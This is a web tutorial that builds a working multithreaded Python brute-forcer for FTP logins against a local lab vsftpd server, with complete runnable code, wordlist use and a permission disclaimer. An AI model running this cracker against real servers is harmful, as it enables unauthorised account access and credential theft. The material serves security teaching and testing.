How to Brute Force FTP Servers in Python

Learning how to crack FTP servers using dictionary attack (brute-forcing with a wordlist) with the help of ftplib module in Python.
  · 6 min read · Updated aug 2022 · Ethical Hacking

Welcome! Meet our Python Code Assistant, your new coding buddy. Why wait? Start exploring now!

A brute-force attack consists of an attack that submits many passwords with the hope of guessing correctly. In this tutorial, you will learn how you can brute force FTP servers in Python.

We will be using the ftplib module that comes built-in in Python. However, we're going to use colorama for printing in colors in Python:

pip3 install colorama

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

Now, for demonstration purposes, I have set up an FTP server in my local network on a machine that runs on Linux. More precisely, I have installed vsftpd (very secure FTP daemon), which is an FTP server for Unix-like systems. If you want to do that as well, here are the commands I used to get it up and ready:

root@rockikz:~# sudo apt-get update
root@rockikz:~# sudo apt-get install vsftpd
root@rockikz:~# sudo service vsftpd start

And then make sure you have some user, and the local_enable=YES configuration is set on the /etc/vsftpd.conf file.

Let's get started:

import ftplib
from colorama import Fore, init # for fancy colors, nothing else

# init the console for colors (Windows)
# init()
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21

So the local server is located at 192.168.1.113, I have also created a username "test", and then we specify the port of FTP, which is 21.

Now let's write the core function that accepts a password in arguments and returns whether the credentials are correct:

def is_correct(password):
    # initialize the FTP server object
    server = ftplib.FTP()
    print(f"[!] Trying", password)
    try:
        # tries to connect to FTP server with a timeout of 5
        server.connect(host, port, timeout=5)
        # login using the credentials (user & password)
        server.login(user, password)
    except ftplib.error_perm:
        # login failed, wrong credentials
        return False
    else:
        # correct credentials
        print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
        return True

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

Nothing special; we initialize the FTP server object using ftplib.FTP() and then we connect to that host and try to log in, this will raise an exception whenever the credentials are incorrect, so if it's raised, we'll just return False, and True otherwise.

We gonna use a list of known passwords. Feel free to use any, or you can generate your own custom wordlist using Crunch. However, in this tutorial, we gonna use the Nmap password list that contains about 5000 passwords. If you're on Kali Linux, it is located in "/usr/share/wordlists/nmap.lst". Otherwise, get it here.

Once you have it, put it in the current directory and name it wordlist.txt and use the following code:

# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))

Now all we have to do is run the above function on all of these passwords:

# iterate over passwords one by one
# if the password is found, break out of the loop
for password in passwords:
    if is_correct(password):
        break

Now, this code is okay, but it is very slow. It uses only one thread that attempts an FTP connection on each password sequentially.

Related: How to Make a Subdomain Scanner in Python.

Let's use threads to accelerate this process; the following code is the complete one that uses multi-threading:

import ftplib
from threading import Thread
import queue
from colorama import Fore, init # for fancy colors, nothing else

# init the console for colors (for Windows)
# init()
# initialize the queue
q = queue.Queue()
# number of threads to spawn
n_threads = 30
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21

def connect_ftp():
    global q
    while True:
        # get the password from the queue
        password = q.get()
        # initialize the FTP server object
        server = ftplib.FTP()
        print("[!] Trying", password)
        try:
            # tries to connect to FTP server with a timeout of 5
            server.connect(host, port, timeout=5)
            # login using the credentials (user & password)
            server.login(user, password)
        except ftplib.error_perm:
            # login failed, wrong credentials
            pass
        else:
            # correct credentials
            print(f"{Fore.GREEN}[+] Found credentials: ")
            print(f"\tHost: {host}")
            print(f"\tUser: {user}")
            print(f"\tPassword: {password}{Fore.RESET}")
            # we found the password, let's clear the queue
            with q.mutex:
                q.queue.clear()
                q.all_tasks_done.notify_all()
                q.unfinished_tasks = 0
        finally:
            # notify the queue that the task is completed for this password
            q.task_done()

# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# put all passwords to the queue
for password in passwords:
    q.put(password)
# create `n_threads` that runs that function
for t in range(n_threads):
    thread = Thread(target=connect_ftp)
    # will end when the main thread end
    thread.daemon = True
    thread.start()
# wait for the queue to be empty
q.join()

Great, it is quite similar to the previous one, but we are using a queue here that is filled with the list of passwords in the beginning, and in the core function that's executed by those daemon threads, we're getting a password from the queue and try to login with it. If the password is correct, then we need to finish brute-forcing, a safe way to do that is to clear the queue, and that's what we're doing.

If you're unsure how to use threading with queues, check this tutorial for detailed information.

We also used daemon threads, so these threads will end when the main thread ends.

Here is a little screenshot after my attempt on my local machine:

Example output of brute-forcing ftp servers in PythonPretty cool, we're done! Now try to mess with the n_threads parameter and see if you can further improve the speed of the cracker.

DISCLAIMER: Use this attack on a machine that you have permission to test. Otherwise, we are not responsible for any harm you do to anyone.

If you're interested in brute-forcing SSH servers instead, head to this tutorial.

Finally, in our Ethical Hacking with Python Ebook, we built 24 hacking tools from scratch using Python. Make sure to check it out here if you're interested!

Related: How to Brute Force ZIP File Passwords in Python.

Happy Hacking ♥

Just finished the article? Now, boost your next project with our Python Code Generator. Discover a faster, smarter way to code.

View Full Code Explain My Code
Sharing is caring!



Read Also



Comment panel

    Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!